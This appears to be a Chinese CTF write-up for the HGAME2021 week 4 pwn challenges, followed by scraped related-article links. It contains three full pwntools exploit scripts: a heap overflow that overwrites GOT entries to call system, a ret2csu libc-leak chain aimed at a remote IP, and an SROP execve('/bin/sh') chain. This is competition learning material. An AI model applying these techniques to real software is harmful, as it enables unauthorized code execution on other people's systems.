HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难。
house_of_cosmos
没开pie,并且可以打got表。
在自写的输入函数存在漏洞。当a2==0时,因为时int类型,这里就会存在溢出。菜单题,但是没有输出功能。
思路:利用溢出将chunk申请到bss段,控制chunk指针,改写free为puts函数,进行泄露libc地址,改写atoi为system拿shell。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size,content):
12 p.sendlineafter('choice >> ','1')
13 p.sendlineafter('data? >> ',str(size))
14 p.sendafter('someting >> ',content)
15 def delete(index):
16 p.sendlineafter('choice >> ','2')
17 p.sendlineafter('id >> ',str(index))
18 def edit(index,content):
19 p.sendlineafter('choice >> ','4')
20 p.sendlineafter('id >> ',str(index))
21 p.sendlineafter('something >> ',content)
22
23 puts_plt = 0x00401040
24
25 add(0x0,'aaaaaaa\n') #0
26 add(0x68,'bbbbbbb\n') #1
27 add(0x10,'ccccccc\n') #2
28 delete(1)
29 edit(0,'a'*0x10+p64(0)+p64(0x71)+p64(0x4040a0-3))
30 add(0x68,'aaaaaaa\n') #1
31 delete(2)
32 add(0x68,'zzz'+'zzzzzzzz'*2+p64(0x0404018)+'\x80\n') #2
33 edit(0,'\x46\x10\x40\x00\x00\n')
34 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['puts'])+'\x80\n') #2
35 delete(0)
36 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 system = libc_base+libc.symbols['system']
39 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['atoi'])+'\x80\n') #2
40 edit(0,p64(system)+'\n')
41 p.sendlineafter('choice >> ','/bin/sh\x00')
42 p.interactive()
rop_senior
感觉这题应该是想考srop的,因为没有pop_rdi_ret的片段可以使用。但是程序不是用汇编写的,所以存在csu。可以利用csu给寄存器赋值,泄露libc地址来做。(非预期)
1 from pwn import *
2 from LibcSearcher import *
3 #p = process('./pwn')
4 p = remote('159.75.113.72',30405)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 csu_end = 0x004006CA
9 csu_front = 0x004006B0
10 csu_front1 = 0x004006B6
11 puts_got = elf.got['puts']
12 vuln = 0x0040062A
13 start = elf.symbols['_start']
14 og = [0x4f3d5,0x4f432,0x10a41c]
15
16 payload = 'a'*0x8 # r12->call r13->rdx r14->rsi r15->rdi
17 payload += p64(csu_end)+p64(0)+p64(1)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(csu_front1)+'a'*0x38+p64(start)
18
19 p.sendafter('best\n',payload)
20 puts = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
21 libc = LibcSearcher("puts",puts)
22 libc_base = puts-libc.dump("puts")
23 system = libc_base+libc.dump("system")
24 binsh = libc_base+libc.dump("str_bin_sh")
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+og[2]
27
28 payload = 'a'*0x8+p64(shell)
29 p.send(payload)
30 p.interactive()
预期解是用srop做,其实还是有点手生,当时没做,赛后看了一眼wp写出来的。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 bss = elf.bss()+0x100
8 vuln = 0x40062a
9 syscall = 0x400647
10
11 sigframe = SigreturnFrame()
12 sigframe.rax = constants.SYS_read
13 sigframe.rdi = 0
14 sigframe.rsi = bss
15 sigframe.rdx = 0x400
16 sigframe.rsp = bss
17 sigframe.rip = syscall
18 p.sendafter('best', 'a'*8 + p64(vuln) + p64(syscall) + str(sigframe))
19 p.sendafter('best', 'a'*8 + p64(syscall)[:7])
20
21 sigframe = SigreturnFrame()
22 sigframe.rax = constants.SYS_execve
23 sigframe.rdi = bss + 0x200
24 sigframe.rsi = 0x0
25 sigframe.rdx = 0x0
26 sigframe.rip = syscall
27 p.send(('a'*8 + p64(vuln) + p64(syscall) + str(sigframe)).ljust(0x200,'b') +"/bin/sh\x00")
28 p.sendafter('best','a'*8 + p64(syscall)[:7])
29 p.interactive()
后记
持续一个月的hgame结束了!

HGAME2021 week4 pwn writeup的更多相关文章
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- HGAME2021 week2 pwn writeup
week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- PAT A1063——set的常见用法详解
set 常用函数实例 set是一个内部自动有序且不含重复元素的容器 (1)insert() (2)find() st.find(*it) 找到返回其迭代器,否者返回st.end() (3)size( ...
- [bzoj1280]卖猪
首先考虑猪无法流动,那么源点向每一个猪圈连猪圈中猪个数的边,每一个顾客向汇点连所需猪的边,每一个猪圈向能打开它的顾客连inf的边,跑最大流即可. 但考虑猪要流动,有一个十分巧妙地做法,将每一个顾客所有 ...
- [cf1184E]Daleks' Invasion
先求出任意一棵最小生成树,然后对边分类讨论1.非树边,答案即最小生成树的环上的最长边2.树边,反过来考虑,相当于对于每一个点对那条路经打上标记,取min对于1直接用倍增维护即可,对于2可以用树链剖分/ ...
- 性能压测-压力测试-Apache JMeter安装使用
http://jmeter.apache.org/download_jmeter.cgi 下载win10得zip文件 在有java环境后进入项目得bin->jmeter.bat 启动 自带国际化 ...
- SpringCloud升级之路2020.0.x版-45. 实现公共日志记录
本系列代码地址:https://github.com/JoJoTec/spring-cloud-parent 我们这一节在前面实现的带有链路信息的 Publisher 的工厂的基础上,实现公共日志记录 ...
- FFT/NTT复习笔记&多项式&生成函数学习笔记Ⅱ
因为垃圾电脑太卡了就重开了一个... 前传:多项式Ⅰ u1s1 我预感还会有Ⅲ 多项式基础操作: 例题: 26. CF438E The Child and Binary Tree 感觉这题作为第一题还 ...
- 【R】爬虫案例
爬取豆瓣相册 library(RCurl) library(XML) myHttpheader <- c("User-Agent"="Mozilla/5.0 (Wi ...
- Linux搭建rsync备份服务器备份
环境: 1台rsync备份服务器,IP:10.0.0.188 1台rsync备份客户端,IP:10.0.0.51 备份数据需注意: 1. 在业务低谷时间进行备份 2. 进行备份限速 一.搭建rsync ...
- 34. Swap Nodes in Pairs
Swap Nodes in Pairs My Submissions QuestionEditorial Solution Total Accepted: 95230 Total Submission ...
- .net与java建立WebService再互相调用
A: .net建立WebService,在java中调用. 1.在vs中新建web 简单修改一下Service.cs的[WebMethod]代码: using System; using System ...